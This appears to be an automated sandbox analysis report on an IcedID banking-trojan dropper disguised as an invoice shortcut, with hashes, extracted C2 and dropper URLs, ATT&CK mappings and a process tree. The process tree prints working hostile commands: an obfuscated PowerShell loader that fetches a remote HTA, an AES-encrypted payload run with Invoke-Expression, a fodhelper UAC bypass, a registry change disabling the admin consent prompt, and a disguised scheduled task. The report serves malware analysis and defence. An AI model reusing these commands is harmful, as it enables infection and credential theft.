Resubmissions

25-05-2022 19:16

220525-xy9rdacee9 10

23-05-2022 22:23

220523-2bae8ahfb7 10

23-05-2022 22:09

220523-12vneahef3 10

Analysis

  • max time kernel
    569s
  • max time network
    572s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    23-05-2022 22:09

General

  • Target

    Invoice_1.lnk

  • Size

    2KB

  • MD5

    c00c67f3de031c5ae198ba0362b5dd01

  • SHA1

    40f3b0263f8fccdf1fd5fe287dbd55829a8eddd6

  • SHA256

    d146c8bc52ec74b67704b30c0fb20995ba65770d191502f70c88c262dc44fc5d

  • SHA512

    4944aa5947667500eddb4d7fed5b0a8eb4d14db1d60496fcbe38c4032511b04c92757807a23dff49353f5ee75a5ed44cc5de9ed7cdcd12b59a7b8c9214e227ad

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://conderadio.tv/09872574.hta

Extracted

Family

icedid

Campaign

109932505

C2

ilekvoyn.com

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • UAC bypass 3 TTPs
  • suricata: ET MALWARE Win32/IcedID Request Cookie

    suricata: ET MALWARE Win32/IcedID Request Cookie

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 11 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice_1.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" <#oeE'}tV41O#>$zfkmQNMMGKcDTdJr=@(30802,30808,30797,30809,30790,30725,30797,30809,30809,30805,30808,30751,30740,30740,30792,30804,30803,30793,30794,30807,30790,30793,30798,30804,30739,30809,30811,30740,30741,30750,30749,30748,30743,30746,30748,30745,30739,30797,30809,30790);<#oeE'}tV41O#>$JxXPDMbtIHLsflxCnW=@(30766,30762,30781);<#oeE'}tV41O#>function najjGYpeT($gNCFLP){$KeafQvWRzpQ=30693;<#oeE'}tV41O#>$GDaRsn=$Null;foreach($jimJcuhW in $gNCFLP){$GDaRsn+=[char]($jimJcuhW-$KeafQvWRzpQ)};return $GDaRsn};sal pQtoDlBENz (najjGYpeT $JxXPDMbtIHLsflxCnW);<#oeE'}tV41O#>pQtoDlBENz((najjGYpeT $zfkmQNMMGKcDTdJr));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://conderadio.tv/09872574.hta
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ekPb = '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';$tPFOxUIgHD = 'U3FHZEtYZHBWcHZaQ09TR1JSell1ZmhUWktOemhReEc=';$CBMKxSfhg = New-Object 'System.Security.Cryptography.AesManaged';$CBMKxSfhg.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CBMKxSfhg.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CBMKxSfhg.BlockSize = 128;$CBMKxSfhg.KeySize = 256;$CBMKxSfhg.Key = [System.Convert]::FromBase64String($tPFOxUIgHD);$ddnEW = [System.Convert]::FromBase64String($ekPb);$kAbSPqMWQ = $ddnEW[0..15];$CBMKxSfhg.IV = $kAbSPqMWQ;$AUXAiVjEXOpkNt = $CBMKxSfhg.CreateDecryptor();$XPnBMtsJXxDfbSw = $AUXAiVjEXOpkNt.TransformFinalBlock($ddnEW, 16, $ddnEW.Length - 16);$CBMKxSfhg.Dispose();$GDDbozdXrwaw = New-Object System.IO.MemoryStream( , $XPnBMtsJXxDfbSw );$DuRHh = New-Object System.IO.MemoryStream;$qYlxsgnfBTqatvQswW = New-Object System.IO.Compression.GzipStream $GDDbozdXrwaw, ([IO.Compression.CompressionMode]::Decompress);$qYlxsgnfBTqatvQswW.CopyTo( $DuRHh );$qYlxsgnfBTqatvQswW.Close();$GDDbozdXrwaw.Close();[byte[]] $qDmVNkk = $DuRHh.ToArray();$liVTzN = [System.Text.Encoding]::UTF8.GetString($qDmVNkk);Invoke-Expression($liVTzN)
          4⤵
          • Blocklisted process makes network request
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Windows\System32\fodhelper.exe
            "C:\Windows\System32\fodhelper.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1452
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZDqcC.bat" "
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1200
          • C:\Windows\System32\fodhelper.exe
            "C:\Windows\System32\fodhelper.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2120
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kywdT.bat" "
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:620
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy UnRestricted Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2412
  • C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Temp\ZDqcC.bat"
    1⤵
      PID:748
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ZDqcC.bat" *
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe function tXIPlkvsktLPL ($hyUQNAjDGWycUo){ $mXzmkJZcEjqHY = 'Core update check'; $MAVXCzBKIjuPJeFnAJ = @{ Action = (New-ScheduledTaskAction -Execute "Rundll32.exe" -Argument ' C:\Users\Admin\AppData\Local\Temp\1.dll,DllRegisterServer'); Trigger = (New-ScheduledTaskTrigger -Once -At(Get-Date).AddSeconds(5)); TaskName = $mXzmkJZcEjqHY; Description = 'Core updating process.'; TaskPath = 'UpdateCheck'; RunLevel = 'Highest'}; Register-ScheduledTask @MAVXCzBKIjuPJeFnAJ -Force}; tXIPlkvsktLPL C:\Users\Admin\AppData\Local\Temp\1.dll
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:796
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\kywdT.bat" *
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1980
      • C:\Windows\system32\cmd.exe
        cmd /c del "C:\Users\Admin\AppData\Local\Temp\kywdT.bat"
        2⤵
          PID:3764
      • C:\Windows\system32\Rundll32.exe
        Rundll32.exe C:\Users\Admin\AppData\Local\Temp\1.dll,DllRegisterServer
        1⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        PID:2040
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
        1⤵
          PID:1508

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Privilege Escalation

        Bypass User Account Control

        1
        T1088

        Defense Evasion

        Bypass User Account Control

        1
        T1088

        Disabling Security Tools

        1
        T1089

        Modify Registry

        2
        T1112

        Install Root Certificate

        1
        T1130

        Discovery

        Query Registry

        1
        T1012

        System Information Discovery

        2
        T1082

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          1KB

          MD5

          02a1a26525c65a359d41483180eaa6f7

          SHA1

          c0e2578b92d20e925c1c87016d1a9fccee1ec56f

          SHA256

          d0ec351493bdbc6cb94990b162bb8be5b0217277cc55ae12aa3c7ea704cdbc6e

          SHA512

          d3271137241553f8316fcfc94dcf88c2887ee7bb0babddb4c1666fb5ae821a28425400299281422a4ebeb1f4c7369443b839d10f182279504bbba5f2f1cd94c2

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          1KB

          MD5

          e3b90537044a639dc6154f7eba9c8404

          SHA1

          dec8d4d8f0a9a8866babb6f17dd68d8a54e7f47a

          SHA256

          e0df7204949b2bf43825bfed4b611728bcf2683aabb280d4b4342a75cab34662

          SHA512

          3ad09f527b0475c847881c916e4f3854e3846e86b699f9194318ccda9b75af18cb7b02e6127f98ea17872cc6fe6f6731e73cbd39177bf56a3561450aebf463d6

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          1KB

          MD5

          6d5c456bec9f9518de9a165a74f5a2d5

          SHA1

          8dd82931ccc7f095ba853abc766dd0a9d90aad07

          SHA256

          7f9d17b08e5415576814f195131e6cf495b77d256beccbe44a0292e7bd884b85

          SHA512

          5d6a6358cf29cc8b55b6aef12f2c61ba0dcff508e132cc77d47a736f5dac633ff4738b249f0726426a163c1cc0448e6b3cb54ace96351d355a17d27a42614475

        • C:\Users\Admin\AppData\Local\Temp\1.dll
          Filesize

          718KB

          MD5

          5a0e570b13623c79c9261a8a2cc41f04

          SHA1

          10f6f208907d25f5ec39060a8576ed8387d42c0e

          SHA256

          3dfe63d2c9a7e2f848d2f92171cc577158318b4e9cb62e74ec603be84ba13109

          SHA512

          bbe98f12bbcc0820b98c329df11b20ee69cf49300c31948462978b5d9b398f62374bd2075247c87c3f916ceae89ba1e7a8bd0b76b1e3747345f12f5cb25e2c70

        • C:\Users\Admin\AppData\Local\Temp\1.dll
          Filesize

          718KB

          MD5

          5a0e570b13623c79c9261a8a2cc41f04

          SHA1

          10f6f208907d25f5ec39060a8576ed8387d42c0e

          SHA256

          3dfe63d2c9a7e2f848d2f92171cc577158318b4e9cb62e74ec603be84ba13109

          SHA512

          bbe98f12bbcc0820b98c329df11b20ee69cf49300c31948462978b5d9b398f62374bd2075247c87c3f916ceae89ba1e7a8bd0b76b1e3747345f12f5cb25e2c70

        • C:\Users\Admin\AppData\Local\Temp\ZDqcC.bat
          Filesize

          343B

          MD5

          8ca0985471c9c17826fab97b90f90c2e

          SHA1

          6dfd1040096a2215be242e4392d7a2768d067f10

          SHA256

          f9a6e829c29a8411f88db8a26edc1fafe70c64b0df651ad359ca944b14a17781

          SHA512

          539d65d7e7676e3a030de37e1339c2ddb0077db3242d42e6497c66f1bc8f9fc60a00150d8c29ade40c6845e1733f4f2d4cb9f830d09969676f1d24834767cefb

        • C:\Users\Admin\AppData\Local\Temp\kywdT.bat
          Filesize

          692B

          MD5

          a9338ee7f2e9643871e016eda0ecbe1f

          SHA1

          66c6dc3bcd948645774778263e7c8069e340e704

          SHA256

          c3eecc22513eb86b258dc0bfe97a599c9c5673d86fb2d2b286a88d113f076813

          SHA512

          7cb76b9cfdb41e3640bbec245324ba4c05757c84d0dec7d36320ce6836a2a7868727a7add4b0b49e9126f6b3233d18c2e31649ef4015769248f6101211f4853f

        • memory/620-147-0x0000000000000000-mapping.dmp
        • memory/748-145-0x0000000000000000-mapping.dmp
        • memory/796-150-0x0000000000000000-mapping.dmp
        • memory/796-152-0x00007FF8A1950000-0x00007FF8A2411000-memory.dmp
          Filesize

          10.8MB

        • memory/984-132-0x0000000000000000-mapping.dmp
        • memory/1200-140-0x0000000000000000-mapping.dmp
        • memory/1452-139-0x0000000000000000-mapping.dmp
        • memory/1768-131-0x000002173C650000-0x000002173C672000-memory.dmp
          Filesize

          136KB

        • memory/1768-130-0x0000000000000000-mapping.dmp
        • memory/1768-134-0x00007FF8A2C40000-0x00007FF8A3701000-memory.dmp
          Filesize

          10.8MB

        • memory/1980-149-0x0000000000000000-mapping.dmp
        • memory/2040-157-0x0000000180000000-0x0000000180009000-memory.dmp
          Filesize

          36KB

        • memory/2120-146-0x0000000000000000-mapping.dmp
        • memory/2412-144-0x00007FF8A1950000-0x00007FF8A2411000-memory.dmp
          Filesize

          10.8MB

        • memory/2412-143-0x0000000000000000-mapping.dmp
        • memory/3764-154-0x0000000000000000-mapping.dmp
        • memory/4620-135-0x0000000000000000-mapping.dmp
        • memory/4620-138-0x00007FF8A1950000-0x00007FF8A2411000-memory.dmp
          Filesize

          10.8MB

        • memory/4808-142-0x0000000000000000-mapping.dmp